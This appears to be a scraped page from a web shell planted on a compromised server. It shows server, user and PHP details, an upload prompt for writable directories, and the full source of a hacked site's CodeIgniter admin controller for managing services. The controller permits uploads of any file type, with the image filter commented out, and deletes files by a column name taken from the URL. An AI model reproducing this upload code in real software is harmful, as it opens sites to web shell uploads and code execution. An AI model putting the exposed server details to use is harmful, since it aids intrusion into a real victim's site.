https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/serbaantik.com/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/serbaantik.com/public_html/application/controllers/admin/Service.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Service extends Admin_Controller 
{		
		function __construct() 
		{
				parent::__construct();

				if (!in_array('services', $this->allowed_sections)) redirect('admin/dashboard'); 
				
				$this->load->model('service_m');	  
		} 
			
		//this is to list all service   
		public function index() 
		{
			if (isset($_POST['submit'])) 
				{
						//check & processing image banner upload files	
						if ($_FILES['userfile']['size'] !== 0) 
						{  
								$config['upload_path'] = './uploads/page/'; 
								$config['allowed_types'] = '*';  
								// $config['allowed_types'] = 'jpg|png|jpeg|webp';  
								$config['max_size']	= '800';
								
								$this->load->library('upload', $config);  

								if ( ! $this->upload->do_upload()) 
								{
										//echo $this->upload->display_errors(); die();
											
										$this->session->set_flashdata('banner_error', '<br>
											<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');

										redirect('admin/service');		 						
								} else 
								{
										$image = $this->upload->data();
										$image_filename = $image['file_name']; 	 
								}	
						}

						//store image information to configuration table
						$data = array(
								'service_landingpage_title'	=> $this->security->xss_clean($this->input->post('title')),
								'service_landingpage_description'	=> $this->security->xss_clean($this->input->post('description')),
						);

						//image upload
						if (isset($image_filename)) 
						{
								$data['service_landingpage_image'] = $image_filename; 
						} 

						$this->db->where('id_configuration', 1);
						$this->db->update('configuration', $data); 

						$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Service Landing Page Edit Successful</p>');
				}

				//get landingpage banner image, description and link
				$this->db->select('service_landingpage_description, service_landingpage_image, service_landingpage_title')->from('configuration')->where('id_configuration', 1);
				$this->data['service_landingpage'] = $this->db->get()->row();

				//pagination in action. 20 results per page  
				$this->load->library('pagination');
				$config['base_url'] = base_url() . 'admin/service/index';
				$config['per_page'] = 40;
				$config["uri_segment"] = 4; 

				//fetch all service
				$config['total_rows'] = $this->service_m->record_count();   
				$this->pagination->initialize($config);
					$this->data['service'] = $this->service_m->get_all_service($config["per_page"], 
				$this->uri->segment(4)); 
			
				//load view
				$this->data['subview'] = 'admin/service/index';
				$this->load->view('admin/templates/header', $this->data_header); 
				$this->load->view('admin/_layout_main', $this->data);
				$this->load->view('admin/templates/footer', $this->data_footer);
		} 
		
		//to add a new service
		public function add() 
		{
				$this->data['service'] = $this->service_m->get_new();	

				//get ordering number and display at add form
				$this->db->select_max('priority')->from('service');
				$current_priority = $this->db->get()->row()->priority;
				
				if($current_priority == NULL) 
				{
						$this->data['service']->priority = 1;	
				} 
				else 
				{
						$this->data['service']->priority = $current_priority + 1;
				}  
			
				//validation check in action
				$config = array( 
						array(
								'field'   => 'name',
								'label'   => 'Name',
								'rules'   => 'trim|required'
						),
						array(
								'field'   => 'content',
								'label'   => 'content',
								'rules'   => 'trim|required'
						),  
						array(
								'field'   => 'priority',
								'label'   => 'Priority',
								'rules'   => 'trim|required|numeric'
						),  
						array(
								'field'   => 'status',
								'label'   => 'status',
								'rules'   => 'trim|required'
						),       
				);

				$this->load->library('form_validation');
				$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); 
				$this->form_validation->set_rules($config); 

				if($this->form_validation->run() == TRUE) 
				{
						$image1_filename = $this->upload_files('image1');
						$image2_filename = $this->upload_files('image2');

						$data = array(
								'name' => $this->input->post('name'),
								'subtitle' => $this->input->post('subtitle'),
								'alias' => url_title($this->input->post('name')),
								'content' => $this->input->post('content'),
								'priority' => $this->input->post('priority'),
								'status' => $this->input->post('status'),
						);

						//image upload
						if (isset($image1_filename)) 
						{
								$data['image1'] = $image1_filename;
						} 

						if (isset($image2_filename)) 
						{
								$data['image2'] = $image2_filename;
						} 

						$this->service_m->add_service($data);

						$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Tambah Service Berhasil</p>');

						redirect('admin/service');
				} 
			
				$this->data['subview'] = 'admin/service/edit';
				$this->load->view('admin/templates/header', $this->data_header);
				$this->load->view('admin/_layout_main', $this->data);
				$this->load->view('admin/templates/footer', $this->data_footer);	
		}
		
		//to edit brand in admin
		public function edit($id = NULL) 
		{ 
				//check if id exist. If not exist, show 404.
				$count = $this->service_m->count_exist($id); 
				
				if ($count == 0) 
				{
						//page not exist
						show_404();
				}		

				$this->data['service'] = $this->service_m->get($id);	
			
				$config = array( 
						array(
									'field'   => 'name',
									'label'   => 'Name',
									'rules'   => 'trim|required'
							),
							array(
									'field'   => 'content',
									'label'   => 'content',
									'rules'   => 'trim|required'
							),  
							array(
									'field'   => 'priority',
									'label'   => 'Priority',
									'rules'   => 'trim|required|numeric'
							),  
							array(
									'field'   => 'status',
									'label'   => 'status',
									'rules'   => 'trim|required'
							),       
				);

				$this->load->library('form_validation');
				$this->form_validation->set_error_delimiters('<div class="error">', '</div>'); 
				$this->form_validation->set_rules($config); 

				if($this->form_validation->run() == TRUE)  
				{
						$image1_filename = $this->upload_files('image1');
						$image2_filename = $this->upload_files('image2');

						$data = array(
								'name' => $this->input->post('name'),
								'subtitle' => $this->input->post('subtitle'),
								'alias' => url_title($this->input->post('name')),
								'content' => $this->input->post('content'),
								'priority' => $this->input->post('priority'),
								'status' => $this->input->post('status'),
						);

						//image upload
						if (isset($image1_filename)) 
						{
								$data['image1'] = $image1_filename;
						} 

						if (isset($image2_filename)) 
						{
								$data['image2'] = $image2_filename;
						} 

						$this->service_m->edit_service($id, $data);

						$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">service success edit</p>');
					
						redirect('admin/service/edit/' . $id);
				} 
				
				$this->data['subview'] = 'admin/service/edit';
				$this->load->view('admin/templates/header', $this->data_header);
				$this->load->view('admin/_layout_main', $this->data);
				$this->load->view('admin/templates/footer', $this->data_footer);	
		}
		
		
		//to delete a service
		public function delete($id) 
		{
				//check if id exist. If not exist, show 404.
				$count = $this->service_m->count_exist($id);
				
				if ($count == 0) 
				{  
						//page not exist 
						show_404();
				}		
				
				//delete brand
				$this->service_m->delete($id);

				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Service success deleted</p>');
				redirect('admin/service');
		}

		//To delete photo file from server, and from database
		public function delete_image($id, $name) 
		{ 
				$count = $this->service_m->count_exist($id);

				if ($id == NULL || $count == 0) 
				{	  
						redirect('admin/service');
				}

				//get image file name for deletion
				$this->db->select($name)->from('service')->where('id_service', (int) $id);
				$image = $this->db->get()->row_array();

				//Delete the actual image file from server. FCPATH is codeigniter base path
				unlink(FCPATH .'/uploads/page/'. $image[$name]);

				//Delete image field from database
				$data = array( 
						$name => '',
				);
				$this->db->where('id_service', (int) $id);
				$this->db->update('service', $data);	

				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image delete success</p>');
				
				redirect('admin/service/edit/' . $id); 
		} 

		private function upload_files($file_name, $id = null)
		{
				if ($_FILES[$file_name]['size'] !== 0) 
				{  	
						$config = array();
						$config['upload_path'] = './uploads/page/'; 
						$config['allowed_types'] = '*';  
						// $config['allowed_types'] = 'jpg|png|jpeg|webp';  
						//$config['max_size']	= '800';
						
						$this->load->library('upload', $config); 
						$this->upload->initialize($config); 

						if (!$this->upload->do_upload($file_name)) 
						{
								//echo $this->upload->display_errors(); die();
								if($id)
								{
										$this->session->set_flashdata('error', '<br>
										<p style="background:orange; color:white; padding:5px; font-weight:bold;">Kesalahan Unggah Gambar. Format atau ukuran salah.</p>');
										redirect('admin/service/edit/' . $id);
								}
								else
								{
										$this->session->set_flashdata('error', '<br>
										<p style="background:orange; color:white; padding:5px; font-weight:bold;">Kesalahan Unggah Gambar. Format atau ukuran salah.</p>');
										redirect('admin/service/add');	
								}
						} 
						else 
						{
								$image = $this->upload->data();
								return $image['file_name']; 	 
						}	
				}
		}

		public function delete_landingpage_image() 
		{ 
				//get image file name for deletion
				$this->db->select('service_landingpage_image')->from('configuration')->where('id_configuration', 1);
				$image = $this->db->get()->row()->service_landingpage_image;

				//Delete the actual image file from server. FCPATH is codeigniter base path
				unlink(FCPATH .'/uploads/page/'. $image);

				//Delete image field from database
				$data = array( 
					'service_landingpage_image' => '',
				);

				$this->db->where('id_configuration', 1);
				$this->db->update('configuration', $data);	

				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Image Delete Successful</p>');
				
				redirect('admin/service'); 
		}
}

https://t.me/RX1948 - 2025